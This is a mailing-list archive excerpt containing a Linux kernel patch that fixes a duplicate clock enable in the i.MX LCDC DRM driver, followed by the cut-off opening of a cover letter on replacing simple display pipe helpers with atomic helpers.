 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a66636f-f479-0a2a450c0019-cddca88340c4-3
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 21:43:45 +0200
Received: from pps.filterd (m0279862.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66QH6n1t1126257
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 19:43:43 GMT
Received: from mail-pg1-f197.google.com (mail-pg1-f197.google.com
 [209.85.215.197])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fmnweuf2q-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 19:43:43 +0000 (GMT)
Received: by mail-pg1-f197.google.com with SMTP id
 41be03b00d2f7-ca7c1e22995so3445356a12.3
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 12:43:43 -0700 (PDT)
Received: from le-cd01-lnx.qualcomm.com ([114.94.8.21])
 by smtp.gmail.com with ESMTPSA id
 41be03b00d2f7-cbbb66dcd38sm2312070a12.29.2026.07.26.12.43.34
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sun, 26 Jul 2026 12:43:41 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	CNoRgYHBQCH+tsjxR75Szw9VyLMDvEKRkPSqMXEGBh8=; b=NPm9kHgZsDf1LGlX
	jzlVHtMg0YUIG18rO33jutaRk1yFpZdsfUZVRWXI0ghtaU1/yaZpgmvF1zkkIkMO
	Fx/GEM6lleoZ2OcTLU3bCQDNV8OfTPfNjRq65BaBvGXKNXhIMzq0ln7rci/Qk6fr
	bhHa4Hm6Jd1qdtFzl/Ez17lREMOW1lrfDBpw5evnVY9Xoy1I6kuZkcMe/VXEJ+KX
	Pn0yKJyoOgri+0JqUjlVmDNy54VMgGwyHkj89PveR+TywEoAf/HLoQ7s4fPsnpUE
	ysQBHzdtZRRTpsO7e5MMXpwCaF2Eic1vfLqRYDOcebT3rm1E7+C2mEIsQneM6hEz
	vMj/ZQ==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1785095023; x=1785699823; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=CNoRgYHBQCH+tsjxR75Szw9VyLMDvEKRkPSqMXEGBh8=;
        b=M2Qvzh23RQJcLhfr3Kkmv3PDxqBsM/cP0A0gV7y4TGcI6DAYOy8bMf7y+DRA3/oQ52
         kIoaA2Lltht1rOBMEq8pKomTCAauHgN5s6cd/ao2Oka/T8zFLFCfuq3ZXMrtXWgcP49g
         P+DdZ4FRZf3AY+1tzdDLOVqo0HXMlq2uS03kxsEJW4VfuO8rPjEdyiSIHp2o57wM12yG
         tTCW8wS61A760ltuGXqxh6tYZKOURQ9+s44FBBhdF9GvhiYlzrlwTeRLx6Xt5cZ+lXR6
         0hlzjYM++OAYqCQdsR8qwP8PVRbbIh/EVJVrLYHS3jclYfWd2AYGZVvFYybdk7DDGOiV
         8ycA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785095023; x=1785699823;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=CNoRgYHBQCH+tsjxR75Szw9VyLMDvEKRkPSqMXEGBh8=;
        b=W+vghUPGQCvVJbkmzottw6qiII9/vI7DjcxJCKSxGVZjbPiH7GSuV6qOsLry25XIU9
         TFHLa/ImpEKZicZF2dPtJzurJ1TBNZS80IP9ES2Zbgfrbqzx8NLkVMukIHmRjkONsHcP
         2XrS2QiP8qbUh4daqmhS7BU+qjSpFBFboxpqVUW/PzAK3N+VOEeTsn+KfvC8UAHwl+yz
         NxRW/5gYAPmKcYRmXzGimlm/bEIfRdAlxjdtCBaiPfXK629PcOL4eZekhuxbFSQHpT1F
         zYMDVwD/R2jF6iTaOmCuEwSp7Kp+WCS5w3lM+CxPL8eCygfeN0t0P9Z2WhYSds29AZbS
         Irhg==
X-Forwarded-Encrypted: i=1; AHgh+Rp+VuHE8+c5No5b1njvWdAo/AgmnhK6hH2qV6cZso8aej07CJ20eSQg7HD6ta4aAt6VNYubVj+2u9Y=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yy78eX/0QSdaJPn1Rv1VrrE5yg/v+SrlBU/IxqBi17BOMGSQMGx
	zlQvg1yNSywyf+zjEBgMSgRXAIDEFfWXxMxCb+0Vw+6xshp92tUbZcYgt4v4rvdFGDOcLL1ldEU
	5hvonfJ9gnIw5aerCL+pvbMr7eUFhLjrFI9uzyeEzaLyHVDUJYaYa+nqar/R++raHQalmSg==
X-Gm-Gg: AR+sD12kOsXhD/7utJ22zDqP6gg7EMi8HLybzb/P8TdFsnXaOV8tz/Ol6+nSLxOwqst
	H6rcRIB7uBOwcWezCFBUdgzhVe+SUqG1zWGOmMQPHhOZdWTLtTTgs1wbLvDGucdGBu4K7xASSEV
	TcJKoAYs1qFz6yiF5FyF2TvbR6hyr7owQaYvV2jXst5jzgE7/LZqhGSeWA84+d3T805NCYJMQL0
	Z5Z+TdBkC/xKRjIk/DtcSLaFTt7IkAAgyV/Z7qSZztZlSyKebc1BRGb/kUCRriiAas84KTWolB3
	whJuQuPpgFqINBgJUaIL3dOGO3PAhbfykkrGeGJM3NdJgQgWrThoLJSqlt4bzHiQLL++0WSalAv
	bBtuTlum4u0jACNjUkLXs
X-Received: by 2002:a05:6a21:918c:b0:3bf:6c08:fb85 with SMTP id adf61e73a8af0-3c67e0e92fdmr5593390637.53.1785095022538;
        Sun, 26 Jul 2026 12:43:42 -0700 (PDT)
X-Received: by 2002:a05:6a21:918c:b0:3bf:6c08:fb85 with SMTP id adf61e73a8af0-3c67e0e92fdmr5593377637.53.1785095022117;
        Sun, 26 Jul 2026 12:43:42 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Mon, 27 Jul 2026 03:42:32 +0800
Subject: [PATCH v3 1/2] drm/imx/lcdc: avoid duplicate clk_per enable
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260727-drm-simple-kms-removal-v3-1-de36e534f7a1@oss.qualcomm.com>
References: <20260727-drm-simple-kms-removal-v3-0-de36e534f7a1@oss.qualcomm.com>
In-Reply-To: <20260727-drm-simple-kms-removal-v3-0-de36e534f7a1@oss.qualcomm.com>
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>,
        Philipp Zabel <p.zabel@pengutronix.de>,
        =?utf-8?q?Uwe_Kleine-K=C3=B6nig?= <u.kleine-koenig@pengutronix.de>,
        Marian Cichy <m.cichy@pengutronix.de>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.14.3
X-Developer-Signature: v=1; a=ed25519-sha256; t=1785095005; l=1575;
 i=ze.huang@oss.qualcomm.com; s=20260716; h=from:subject:message-id;
 bh=0iliuiHXJ6h0/St/QGB8FSTuTPg/hKE4ZxbThjkpOEk=;
 b=nuCUHzR6KH+1G4beZzHutnnOVPquBUhtAMv7nYpAmPcJwkzLDxQbdplnG0zdIkeIj2bMf6cbt
 akZOj/szyIRD7rXgAh5kCjmvJ221hnITo+m6kuUDxyG75FWxOXTdMnr
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=8uGhlZHInA8NXq7G6u/g59qEcwXwuMRI7nBSnT/ijtY=
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI2MDIwMCBTYWx0ZWRfX4/8l2aa5QjUr
 dxmOB+Qlp4rV1hMjYbwrKqbOxPXijqepwtE/EXcdb+qpQnp/5EoTda9RL48Qs3bvvqJYGLq91T8
 kEkcqg2Iw2cOxhvlIf5wcNA+S3yXOjncC61aqeQRDRsPzXbQOiigCvFk7LsAT6wQ35A8RW2+uQh
 ED/xzePky9xDR6swiwyMgUGh2WV37a28L4kvuQ2CsciRtThs+T0nBm/BN99odpwCCWqNd4lK/JI
 j8TQMZW8yg39EJ50POBhWYgalxlkfNIiTVxCMl99WhdRB1pq3TdgyUetEpKAcpefxjU8xbLepYV
 2PT6ldCUTNRABfL0K601lBIM4vCxATgwXGz6hGaADPUUMeVYomzOIWbXufCbN+P+vRQmfAoMf8t
 SIUlTX/xaWWG30oAtcFi09OpPdJ/8L4X5wmIAvzlNo5jpktYJ/4UW9OMJSVz0r/wknGgjPqp8hS
 oYazRZOTG1FyMhIUUZA==
X-Proofpoint-GUID: Mt1kufhGEag4dx8SwNf79keAGnqlhn9v
X-Authority-Analysis: v=2.4 cv=S77pBosP c=1 sm=1 tr=0 ts=6a66636f cx=c_pps
 a=rz3CxIlbcmazkYymdCej/Q==:117 a=Uz3yg00KUFJ2y2WijEJ4bw==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=_K5XuSEh1TEqbUxoQ0s3:22
 a=EUspDBNiAAAA:8 a=xnl2VaEmiNnR3tlLptkA:9 a=QEXdDO2ut3YA:10
 a=bFCP_H2QrGi7Okbo017w:22
X-Proofpoint-ORIG-GUID: Mt1kufhGEag4dx8SwNf79keAGnqlhn9v
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI2MDIwMCBTYWx0ZWRfX5orI6Ew8FXNg
 oQ16x0maacREbvArjCnjyyV+ma7UKz5OjhOKBOkFNH8YWAAbnm5w2U8xrbaCpBqLxWzlfNmr3mM
 bTq2Esx4XAzp0fAU0zZn/jlkDrtYngY=
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-26_05,2026-07-24_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 bulkscore=0 suspectscore=0 phishscore=0 clxscore=1015 impostorscore=0
 priorityscore=1501 lowpriorityscore=0 malwarescore=0 adultscore=0 spamscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607260200
X-purgate-ID: tlsNG-d25034/1785095025-02CDBA5B-36A3C34A/0/0
X-purgate-type: clean
X-purgate-size: 1577

The simple-KMS helper calls the pipe update after enabling the CRTC.
On an enable commit, imx_lcdc_pipe_enable() already programs the
mode and enables clk_per. The following pipe update sees the plane move
from no CRTC to the active CRTC, treats it as a mode update, and calls
imx_lcdc_update_hw_registers() again.

That second call has no old CRTC state to disable clk_per first, but it
enables clk_per again at the end. The disable path only drops one
reference, leaving clk_per enabled after each on/off cycle.

Skip the register update from the pipe update path when the CRTC already
needs a modeset. The enable path has already programmed the hardware for
that commit; keep the event handling in pipe update unchanged.

Fixes: c87e859cdeb5 ("drm/imx/lcdc: Implement DRM driver for imx25")
Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
---
 drivers/gpu/drm/imx/lcdc/imx-lcdc.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/drivers/gpu/drm/imx/lcdc/imx-lcdc.c b/drivers/gpu/drm/imx/lcdc/imx-lcdc.c
index f52832b43aca..81024f7d9e96 100644
--- a/drivers/gpu/drm/imx/lcdc/imx-lcdc.c
+++ b/drivers/gpu/drm/imx/lcdc/imx-lcdc.c
@@ -311,7 +311,8 @@ static void imx_lcdc_pipe_update(struct drm_simple_display_pipe *pipe,
 	else if (old_crtc != crtc)
 		mode_changed = true;
 
-	imx_lcdc_update_hw_registers(pipe, old_state, mode_changed);
+	if (!drm_atomic_crtc_needs_modeset(crtc->state))
+		imx_lcdc_update_hw_registers(pipe, old_state, mode_changed);
 
 	if (event) {
 		crtc->state->event = NULL;

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 26 19:45:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 26 Jul 2026 19:45:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371203.1618846 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wo4n9-0004z8-B5; Sun, 26 Jul 2026 19:45:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371203.1618846; Sun, 26 Jul 2026 19:45:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wo4n9-0004z1-8L; Sun, 26 Jul 2026 19:45:43 +0000
Received: by outflank-mailman (input) for mailman id 1371203;
 Sun, 26 Jul 2026 19:45:42 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wo4n8-0004yv-3R
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 19:45:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wo4n7-009ZKg-Gd
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 21:45:41 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a666372-5cb7-0a2a0a5109dd-0a2a450bc8ee-46
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 21:45:41 +0200
Received: from [205.220.180.131] (helo=mx0b-0031df01.pphosted.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a6663e3-b7e8-0a2a450b0019-cddcb483fc72-3
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 21:45:41 +0200
Received: from pps.filterd (m0279869.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66QH7Jm71419243
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 19:45:39 GMT
Received: from mail-pj1-f69.google.com (mail-pj1-f69.google.com
 [209.85.216.69])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fmm573sq0-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 19:45:38 +0000 (GMT)
Received: by mail-pj1-f69.google.com with SMTP id
 98e67ed59e1d1-38e1118e4abso3438337a91.0
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 12:45:38 -0700 (PDT)
Received: from le-cd01-lnx.qualcomm.com ([114.94.8.21])
 by smtp.gmail.com with ESMTPSA id
 98e67ed59e1d1-38f03b0eaa8sm4105998a91.8.2026.07.26.12.45.29
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sun, 26 Jul 2026 12:45:36 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:Message-Id:MIME-Version:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:Content-Transfer-Encoding:Content-Type:MIME-Version:Message-Id:Date:Subject:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:message-id
	:mime-version:subject:to; s=qcppdkim1; bh=0ajHIxefN4bg3/NHnVq4I6
	V3IZtJtWB7vSvRVCv6OFg=; b=gqepHiM+WpEKBlSCQThncb9R3/gVRYZO040V+o
	sE3PF0NuXELd2wESCl8B3OfxzuLlatHm14QkBSXAjzyjKMiOXNkpAMJrm+bT0ZJK
	f19mpJyfWxA27aIdH6Q3eI0R6rP6O/3Ij8qKzxPEE3CzJEaqxhG9CkllwsgGqHGI
	HMVq3Va4viF79Ype5Dc9cWRgl/4Q1TaCZRlK0yPy68tHcuvIZF0cTmZLKd4iooFE
	DeT1j8UAGNjfrTlK7ajewKz7zqXnlHow3cRH7X+IOD1r4SdOWXCBdflbFRF+j+4W
	6UkzeFwJeyein3cGOkQYR6BehZkelUfQSo0hVIKYY7DkmxuA==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1785095138; x=1785699938; darn=lists.xenproject.org;
        h=cc:to:content-transfer-encoding:content-type:mime-version
         :message-id:date:subject:from:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=0ajHIxefN4bg3/NHnVq4I6V3IZtJtWB7vSvRVCv6OFg=;
        b=SeHlg7UJneblbxcOeNe6hDxZHxvDxoqPRUk4ZgA0Bq+CL3648zosxrjBkxRnAQIQoY
         71rYOvDPaGLfzLmxnTBfsIdSwL5MACEtI3el8A51caq+5jzVMPjtuPFU7hb1ckrDqGeS
         UeP4cud1LYGhR5A/nwT7RVPExZbs4uJWAXJUDCjHiBmWHEfP5rIubg7Ob6uv/L1xLOJO
         kJEJDh5rsKoAZvFxlaC/9oJ5q9i5e7fFC13m9e8Pn6GzZIn5cyAwFaFBfS+nXhHltl+s
         iBehaGyFK1tCZHzi8F0Guh1NWhK31vbAl+Ttx0441QVWl/QhMsqD4G3youc6gRw5wTLj
         79YA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785095138; x=1785699938;
        h=cc:to:content-transfer-encoding:content-type:mime-version
         :message-id:date:subject:from:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=0ajHIxefN4bg3/NHnVq4I6V3IZtJtWB7vSvRVCv6OFg=;
        b=fi/86m2zpiAEzFiu1ENQziYqaXAagoPvk4jiR8glHVxSqBSswnwTk6elJ8ys7/MjAL
         0EmVVaRxo4yewnIbRLVTl8imCQ88NJLBHunBNNswmoJXmmlgf1Ot96sR8H6ytSWy0CMg
         uNzZV4fK/5jjtn5xmvpXgQtFpfZs/G5iq2qaJm2JSgNfYSdQFfs5kQijtxsYxiFTWy6J
         FxL/2SpFw630SYzzElD9gj0Z8UC/vAWvUzjhLYhqfry0dz/DbJk5zxCVOyexzsqkUHku
         68rX78g3MhC5j57xdy+y73uwkPp6EkRhNrxE8IO9jrT7+wNLZPH6SQaIGCkKXWTAdRmq
         jRkA==
X-Forwarded-Encrypted: i=1; AHgh+Rpz1V7H3vH6Fst+f+Y4ayBl6BD4Y4a0YnRnH05eP6DkBuxNncvwcPC7MR4yxxTqOHCSQ9ILCAigae8=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyRbWQ5g5BBXUDZLbUm3q+N5F/CwdM05uNWG41e7+S4z4hCH3ir
	6fNbCE/Z2rH+DONbncm1yG7vGXonfC77NsJZ4VcKUTsCUDphQQIJDv3cuGB0xZKFtqaeINVUpyD
	3juKVNMkVF0+lDy5Ss+pzzMMqMuUBjMNJA277IQ7Nk68SYrr5+vH10IIef21D4LiIUpErhQ==
X-Gm-Gg: AR+sD10gGYWhmCDsPuXXqE/oj7v7Eui+2O+ziWW33SjT1czYBi7J32OgJgK7Vwcx6Zk
	7gquK4laSfvJWC02fHtrNJbxlYzUzGgmfYw1OTl6vvq5mu6kgIR1jTZwmRnK7lcuHYVEj/UJPNe
	qrO9wE9KOPXSaI1vaAUpk6I5QYu+QepE7PUci5+DfgLJOTDW8LZE+6xbYbXa2xrhXKArNonsNq0
	nJa9aIskqtgdEgUgShi5bTM6k1n0/XjMtRehGx+4QF+0KIg8QHHs5IUMs2S+AOc2mP12ucPIkG9
	KFiDLjZJtEmsxjHenyHco5VFvWuZkPGX2mJTO3qCDQgcQcyJfXFJczmsCnUFiXgAkYUQI6bQ3WC
	pLuLJL1oiZIUee3cuBURo
X-Received: by 2002:a17:90b:2dc5:b0:38d:e0c4:c955 with SMTP id 98e67ed59e1d1-38f2950e5b0mr5850198a91.15.1785095137771;
        Sun, 26 Jul 2026 12:45:37 -0700 (PDT)
X-Received: by 2002:a17:90b:2dc5:b0:38d:e0c4:c955 with SMTP id 98e67ed59e1d1-38f2950e5b0mr5850172a91.15.1785095137330;
        Sun, 26 Jul 2026 12:45:37 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Subject: [PATCH v3 0/8] drm: replace simple display pipe users with atomic
 helpers
Date: Mon, 27 Jul 2026 03:45:13 +0800
Message-Id: <20260727-drm-simple-kms-removal-v3-0-cd5dc89858c6@oss.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-B4-Tracking: v=1; b=H4sIAMtjZmoC/3WOy27CMBBFfyXymkF+EAdY9T+qLhwzFEMcg8exq
 FD+vXZg0UXZjHSluefcByOMDontmweLmB25MJagVg2zJzN+I7hDyUxyqXnHN3CIHsj564Bw8QQ
 RfchmAC4MV8JqI+SOlfI14tHdF/Dn1zPT1J/Rpkp7fUS8TcWYnm+sN4Rgg/cu7ZvqGfGeoJqBa
 5Adq6CToxTizzI4i6X32ta+25YFcOg3KKzhrdJSfQSi9W0yQ5Wty1nIWf6hCf2WJgtNCKXM9mh
 Vt23/oc3z/AthEOIdWgEAAA==
X-Change-ID: 20260704-drm-simple-kms-removal-01a031c6a129
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.14.3
X-Developer-Signature: v=1; a=ed25519-sha256; t=1785095128; l=5032;
 i=ze.huang@oss.qualcomm.com; s=20260716; h=from:subject:message-id;
 bh=M/SBdA7VDjpMs5FPTVXoEwvZ9jXN7FwKp4wRYNhbi8s=;
 b=vdmSVBLYyiSgCzw5y+D627tBad3p1KzqzB30cNZzauX8H/pqI7pNd3FVlHJnpB9kKpf18kN88
 Jj8375htkKRDUvCLX1+Z4CLbQnTHMi4DVNy4Jk0ylOpVkfagdrVuj1K
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=8uGhlZHInA8NXq7G6u/g59qEcwXwuMRI7nBSnT/ijtY=
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI2MDIwMCBTYWx0ZWRfX2HlOQlIYHL+y
 WGBFnO4gBPSj2rBsHqSHXK9SfiQ8O804fHY+LOLFpqXuwf8+xYdCa0tJtzGOUf85ZCsTXKRvu60
 RO2KsERqFtuCWjtUOG7aqXDuzyF0aEM=
X-Proofpoint-GUID: ebDA51Z7iATmdDojNhE-mMp_sAyQmM5k
X-Authority-Analysis: v=2.4 cv=FOErAeos c=1 sm=1 tr=0 ts=6a6663e2 cx=c_pps
 a=vVfyC5vLCtgYJKYeQD43oA==:117 a=Uz3yg00KUFJ2y2WijEJ4bw==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=_glEPmIy2e8OvE2BGh3C:22
 a=VwQbUJbxAAAA:8 a=EUspDBNiAAAA:8 a=bC-a23v3AAAA:8 a=0c0Jg-khWEd_mnVUI7kA:9
 a=QEXdDO2ut3YA:10 a=rl5im9kqc5Lf4LNbBjHf:22 a=FO4_E8m0qiDe52t0p3_H:22
X-Proofpoint-ORIG-GUID: ebDA51Z7iATmdDojNhE-mMp_sAyQmM5k
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI2MDIwMCBTYWx0ZWRfX/Q7hMQIPPcaF
 +YI9cWmRSuDPpkVZV7zbzRmal4mJ0KafNKmhiWYOZvNLXCY9EMrlzbTSU6PVVf7bpkjaY+KP23G
 DNtdVARuWuhDr/ILX8ymQcecHZgLxbWQLPZopB81SM2EO+DROqBeLgBIMWwLkKDhRPc+EiKZAp/
 MDzHSMsJsLwWGl3kSdpXRksNz+yZ08WMWiMkaNMq8rZ0pD5DMPx8+DKYTArM84cOPyZvrsuuaVS
 S7uuCrOGaALEYIJKSsVLL4Q1v+zgZPUGPTsPoDCnTDf2zj7vQ+MjEGJs7PWNljAuTdl0sNkBCgA
 qfsdTT56Sd2MIbEFq+HN8pIsLQJOEgoBF48KcbHUofYu4nwmtmXnGkoFlrTAgx/u3PwQgWuDMOJ
 NtluvnshfOJrmpUOEmfDfnNuzBI5Dpyy8Sv+FU5ToToiGYuhAGaiGCc8Ah/M8cpObq74s7EnMTl
 s5W+E5KpCn2QOXdY92Q==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-26_05,2026-07-24_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 clxscore=1015 malwarescore=0 lowpriorityscore=0 bulkscore=0 phishscore=0
 adultscore=0 priorityscore=1501 spamscore=0 impostorscore=0 suspectscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607260200
X-purgate-ID: tlsNG-42698a/1785095141-19EC69EA-94BB583C/0/0
X-purgate-type: clean
X-purgate-size: 5034

struct drm_simple_display_pipe was meant to simplify simple DRM
